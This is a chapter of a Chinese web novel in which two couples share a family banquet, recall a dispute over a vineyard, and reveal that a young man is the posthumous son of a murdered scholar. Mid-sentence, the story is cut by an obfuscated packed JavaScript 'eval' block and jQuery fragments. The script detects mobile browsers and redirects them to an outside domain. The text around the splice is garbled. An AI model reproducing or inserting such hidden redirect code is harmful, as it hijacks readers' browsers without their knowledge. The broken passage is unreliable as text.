154. 家宴
作品:《夫郎送我上青云[种田]》 十日后,薛家家宴摆在薛宅东院。
郑重华贵,又不失温馨。
苏晗比上次见面时,身子重些,不过气色却好许多。一惯清冷端雅中,多了几分温暖底色。
寻常吃食、物品等薛家并不缺,所以庄聿白也没准备那些虚礼。而且依照两家的交情,也无需这些虚礼。
晨起亲自去园中摘了一竹篮新鲜葡萄叶,山路上又遇到几棵压满枝头的桃树,顺道也摘了些。圆润润、肥嘟嘟的红桃子搭着一篮翠叶,一并送与苏晗。
“晗姐姐喜欢葡萄叶肉卷,今日特摘了些。劳烦墨儿姐姐了。”
苏晗道了费心,示意墨儿接过去。
怕妻子站久了脚疼,薛启原忙请众人落座,又亲自扶妻子坐下,还拿了个软垫让苏晗靠着。
“前几日晗儿还提起各庄后山的桃子,说比一般市面上卖的要香甜。”薛启原看着篮中桃子,转身吩咐小厮去取些泉水镇上,等少夫人午睡后起来尝一尝。
薛家老太太去庙里上香了,今日不在家中。席间侍奉的也只有苏晗贴身大丫鬟墨儿和薛启原近身的两名小厮。
因无旁人,所以座上几人也没那么多规矩,言语等皆轻松自在不少。
薛启原作为家主,热略招呼客人,眼角余光却一直留在妻子身上。
在外老成持重、威压四方的薛家长公子,到了妻子身边,却换了副模样。素日杀伐果决、眼皮一耷,整个府城商界都要为之抖三抖的巨鳄,此时却小心翼翼得像个新手,凡事确认再三才摆至妻子身边。
知道的,明白这是极尽体贴之能事的丈夫;不知道的,还真以为他是个新来的贴身侍者。
苏晗面前的果茶、热汤等,薛启原都亲自试过。他知道妻子偏好,热饮等皆需六分烫。
荔枝酿肉虽好吃,但贪多易上火,妻子夹到第四颗时,他便直直盯着妻子。妻子坚持留下这第四颗时,他也只能睁一只眼闭一只眼,给对方作弊机会。
自己妻子,除了宠着还能怎样。
薛家长公子与少夫人和好以来,薛启辰只要与兄长和长嫂身处一室,便识趣地躲开。糖分太高,他怕自己碍事,也怕自己吃多了糖不消化。
见妻子微微在椅子上动了下,薛启原知道这是靠枕的位置不舒服,忙起身过来调整。
这夫妻之间司空见惯的日常举动,全落在面前这几位眼中。今日饭菜丰盛合口,还不时一把一把掺着现做的狗粮。
桌上几个从没有过夫妻之实之人皆停了筷子,只专心看着眼前这举案齐眉的场景。
有人一味瞧热闹,有人则认真学着,知道迟早能用上。
薛启原自然而然伸到苏晗背后,轻轻调整靠枕的角度,边调整便俯身下来,轻声询问是否合适。
苏晗倒有些不好意思,悄悄按了下丈夫手臂。意思是今日有客人,收敛些才是。
薛启原会意,笑笑,小声说,“孟公子和庄公子又不是外人。”
确实不是外人,二人心中隔阂尽除,还要多亏这空有其名的夫夫。
一汤匙递到庄聿白面前,他下意识接过来,是一颗荔枝酿肉。
荔枝不方便用筷子夹,孟知彰便用汤匙盛了一颗递与庄聿白。
要么说是学霸呢,现学现用,上手就是快。
庄聿白端在手中,刚要道谢,忽然想起在众人面前,自己和人家是合法且恩爱的夫夫。面前不正坐着一对现成案例么。薛启原如此这般照料,苏晗也未说半个谢字。这才是正常夫妻该有的反应。
不用说谢,那……礼尚往来吧。庄聿白夹了一筷“落雨观花”,放置孟知彰面前的碟子中。
孟知彰眼眸暗不可察地掠过一丝笑意,举筷入口:“这鱼鲜嫩异常,肥润清香。甚好。琥珀也尝尝。”
荔枝尚未入口,一块“落雨观花”出现在庄聿白跟前。
薛启辰在一旁笑闹起来,盯着庄聿白:“看来,只有我是没人疼的咯!”
“二公子,我来疼你!”
话音未落,薛启辰面前的碟子已经被庄聿白堆了个盆满钵满。
近日庄聿白被一系列事情绊着,有段时间没来薛家。前有公子乙来强买葡萄园,将夫夫二人推入难堪
甚至危险境地。接着御匾亲迎化解危机,如愿留住园子。这几日家中贺礼料理以及庄子上事务安排,也费了些心力。
这次两家人坐在一起,闲话复盘近况,也聊聊接下来的打算。
“此前葡萄园之事,甚至凶险。”谈到正事,薛启原眉间凌厉之色顿起。
庄聿白看了眼孟知彰,点头:“确实称得上凶险。尤其得知这公子乙背后之人的势力,以及那人与南先生等人之间错综复杂的过往。这颗心更没了底。实不相瞒,我当时都想带着孟知彰跑路了。”
“此事,我是后面听王劼提起一句,才知晓的。”薛启原为没能第一时间提供帮助,深感自责。
庄聿白察觉出对方语气中的懊悔,忙又解释:“事发突然,当时我们也是有些懵的。倒不是有意瞒着你们。能看出来那公子乙一开始是计划悄然办成这事的。不然也不会兀自单独来寻我。后来不知为何改了主意,将骆家兴师动众卷了进来。薛家与骆家素来在商场针锋相对,若是一切尚不明了的情况下卷入此事,到时我和孟知彰真的连个退路也没有了。”
“当然了,”庄聿白又苦笑一声,“后来发现确实扛不住对方压力,还是动用了这个后路,将薛家拉了进来。二公子当时真的好给力!派人直接将骆家那帮散兵游勇打了个落花流水。”
说罢,庄聿白不忘回头冲薛启辰大大竖了个拇指。
薛启辰思量片刻。此前确实因夫夫二人遇事没能第一时间告知自家而心下烦忧了几日,后面听庄聿白将薛家认定为夫夫二人的退路,心中不觉释怀,忙郑重举杯。
“今后,我薛家不仅是二位的退路,还将是二者的前锋与中流砥柱。如去岁薛某所承诺的,鞍前马后,惟阁下之令是听。所以,今后若再有类似状况,请务必通知薛家。薛家自当责无旁贷,全力支持。”
苏晗举了盏果茶,笑着为丈夫打圆场:“当然了,我们希望今后一切皆坦途,再无类似烦难之事。”
众人相视一笑,痛快干了杯中酒。
“不知两位,其他方面进展如何?”薛启原扶妻子落座,问向夫夫二人。
“其他进展?什么进展?”庄聿白听得一头雾水。
薛启原笑笑,一时倒不知如何解释这进展。
“当然指你的肚子了。”薛启辰抢先一步,“我家小侄子年底就能生出来陪我玩了。你和孟知彰在一起这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776988|157868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么久了,何时也生一个出来?让他俩做个伴也是好的。”
孟知彰怕问羞了庄聿白,忙拦在前面解释:“关于孩子,我与夫郎尚不急。”
“茶炭与金玉满堂的生意等都是启原兄帮忙照看,我夫夫二人全然放心。不过眼下葡萄园算是刚刚起步,不论葡萄酒还是渴水等都尚在探索阶段,需要操心的地方尚多。而孟某明年准备秋闱,家中之事全落在夫郎肩上。若此时有了孩子,一时难以照料,我家夫郎属实太辛苦了。既然眼下孟某无法给夫郎一个安稳,莫如等后年殿试之后,好好博个前程,再来细细与夫郎规划孩子之事。”
“知彰兄所言极是。”薛启辰又端起一杯酒,“不过依照孟兄的才学,将来殿试之时定能大放异彩,博得圣上青睐。金榜题名,指日可待!”
说到殿试,话题自然而然引到庆鸿九年的那一榜进士。
这一榜虽算不上千年龙虎榜,但榜上几位进士,却是在座几位都熟知的。一位是当今东盛府知府荀誉,一位是三省书院山长祝槐新,一位,则是骆家当今家主骆睦。
当然还有一位,也就是时至今日提起仍然令人唏嘘不已的准驸马,骆瞻。
骆瞻与骆睦同宗同族,名字又位列同一榜。
一门二进士,喜讯从京城一路穿回府城骆家时,当时的骆氏家主,也就是骆睦的父亲,将流水席摆了三日,又请了三个戏班子现场打擂。
荣耀至极,热闹至极,喜庆至极。
后来骆瞻被长公主榜下捉婿的消息也传了来。金榜题名,洞房花烛,人生几大乐事莫过于此!
骆瞻,这位在骆氏族中原本名不见经传、且无人在意、甚至在族中不时受人奚落冷待的落魄书生,一时声名鹊起。不仅满府城人尽截至,在京中的风头甚是都盖过了当时的一甲前三名。
他与长公主之事,更是被传得花浓月浓。连两人本是青梅竹马、两小无猜之类的传闻,都满街巷散播了出来。
奈何命运弄人,骆瞻的人生际遇正繁花似锦、烟花绽放之际,一切戛然而止。所有的美好前景,随着骆瞻的意外辞世,霎时烟消云散。
“当时,骆瞻已被钦点入翰林院,府城家中尚有一老母,他回府城按理说应是接母亲一同进京任职。可几个月后,骆瞻为歹人所害、曝尸荒野时,却是在独自一人回京途中。”
薛启原将近来打听到的消息,详细说与孟知彰二人。他虽不知孟知彰夫夫为何对如此感兴趣,不过对方既然提出想知道,他尽力探听便是。
至于原因,该自己知道之时,孟知彰自会让自己知道。
这属于骆家当年的尘封往事,除了唏嘘,也并没有太多能为人称道之处。且时间久远,隔着时间尘雾往回溯,真相早已褪了色。
“你怀疑,当时骆瞻回京另有隐情?或者再进一步说,这隐情与他的死,直接有关?”
孟知彰二人全程没有讲话,薛启原还是感知到一股本不应该出现的情绪,在席间蔓延。
哀伤。
素不相识,毫不相干的一位作古前辈,为何勾起庄聿白夫夫如此强烈的情感?
孟知彰与庄聿白交换下眼神,并请薛启原屏退所有仆从。
“实不相瞒。马上从西境回京参加武举比试的云无择,还有另外一层身份,骆瞻的遗腹子。”